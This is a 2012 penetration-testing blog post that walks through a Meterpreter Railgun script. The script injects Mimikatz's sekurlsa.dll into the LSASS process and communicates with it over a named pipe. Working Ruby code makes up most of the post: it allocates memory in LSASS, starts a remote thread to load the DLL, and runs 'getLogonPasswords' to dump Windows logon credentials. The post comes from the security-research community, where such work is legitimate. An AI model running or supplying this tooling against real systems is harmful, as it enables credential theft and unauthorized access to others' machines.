Integration of Mimikatz into Metasploit Stage One

Tuesday, July 10, 2012

Rob Fuller

D8853ae281be8cfdfa18ab73608e8c3f

One of the powers of Metasploit is its ability to stay memory resident through the use of reflective DLL injection, even keeping new functionalities the attack loads from ever touching disk.

Well, the first thing I wanted to do with Mimikatz is get to that same level.

Here is my first step to that end; a railgun based Meterpreter script. Now before going all reflective with it I needed to understand how the DLL worked.

Thankfully @gentilkiwi stepped in and stopped my head from getting bloody. In this first step we will be removing the need for the mimikatz.exe binary, still needing the DLL to be uploaded, but we'll get there in the subsequent posts.

Ignore the do_cmd for now and I stepped through remote DLL injection here. So the first odd lines is 

handle = client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz', 'PIPE_ACCESS_DUPLEX', 'PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT', 1, 0, 0, 30000,nil)['return']

connectedlsass = client.railgun.kernel32.ConnectNamedPipe(handle,nil)

Essentially these connect to the Named Pipe that the sekurlsa.dll uses to talk to the mimikatz.exe in it's normal operation. Then we just use the windows API call "ReadFile" from there on out.

client.railgun.kernel32.ReadFile(handle,248,248,4,nil)

One of the draw backs to doing this all remotely is that Railgun doesn't have the memory management insight like the Windows OS does. Being able to know when pipes are ready to be read or written to is  a bit of a challenge and the call hangs your IRB / meterpreter session if you get it wrong.

I've overcome this for the initial "banner" that sekurlsa writes by knowing the exact length (248 bytes in this case) of the text. For subsequent commands like "ping" and "getLogonPasswords" I simply have to read one character at a time, which is a slow process but removes any chance of getting hung. (Two bytes for every Unicode character)

If you have any questions on how/why this works or have a better way please leave your comments and questions below or hit me up on twitter!

Meterpreter Script:

def do_cmd(handle,cmd)

    ucommand = Rex::Text.to_unicode(cmd)

    sendcmd = client.railgun.kernel32.WriteFile(handle,ucommand,ucommand.size,4,nil)

    good2go = false

    newline = false

    readstring = []

    while good2go == false

        # Have to pull data 1 unicode character at a time

        # this is because the pipe won't write or read if

        # too much was written or read by the "client" (us)

        pull = client.railgun.kernel32.ReadFile(handle,2,2,4,nil)

        # Check to see if our end of read check is there: \n000 @\000

        if pull['lpBuffer'] == "@\000" and newline == true

            good2go = true

        else

            readstring << pull['lpBuffer']

        end
       
        # Ready the newline var for previous check on next loop

        if pull['lpBuffer'] == "\n\000"

            newline = true

        else

            newline = false

        end

    end
    
    print_status(readstring.join(""))

end

print_status("x86 Detected - Using x86 mimikatz")

handle = client.railgun.kernel32.CreateNamedPipeW('\\\\.\\pipe\\kiwi\\mimikatz', 'PIPE_ACCESS_DUPLEX', 'PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT', 1, 0, 0, 30000,nil)['return']

print_status("Handle: #{handle}")

framework.threads.spawn('injectlsass',false) {
    pid = client.sys.process['lsass.exe']

    print_status("LSASS located at PID: #{pid}")

    pathtomimi = "C:\\sekurlsa.dll"

    pay = client.framework.payloads.create("windows/loadlibrary")

    pay.datastore["DLL"] = pathtomimi

    pay.datastore["EXITFUNC"] = 'thread'

    raw = pay.generate

    targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

    mem = targetprocess.memory.allocate(raw.length + (30024))

    targetprocess.memory.write(mem, raw)

    sleep(2)

    targetprocess.thread.create(mem, 0)

    print_status("Successfully Injected into LSASS")

}

print_status("Waiting for LSASS injection to complete")

connectedlsass = client.railgun.kernel32.ConnectNamedPipe(handle,nil)

print_status("Mimikatz has called home, ready for command")

sleep(2)

print_status("Reading banner")

client.railgun.kernel32.ReadFile(handle,248,248,4,nil)

print_status("Doing a quick ping to make sure things are working...")

do_cmd(handle,'ping')

print_status("If you made it this far it worked, doing getLogonPasswords")

do_cmd(handle, 'getLogonPasswords')

Cross-posted from Room362

Possibly Related Articles:
11420
Network->General
Information Security
Hacking Penetration Testing Metasploit Attacks Network Security DLL Injection Railgun Mimikatz pentest
Post Rating I Like this!
The views expressed in this post are the opinions of the Infosec Island member that posted this content. Infosec Island is not responsible for the content or messaging of this post.

Unauthorized reproduction of this article (in part or in whole) is prohibited without the express written permission of Infosec Island and the Infosec Island member that posted this content--this includes using our RSS feed for any purpose other than personal use.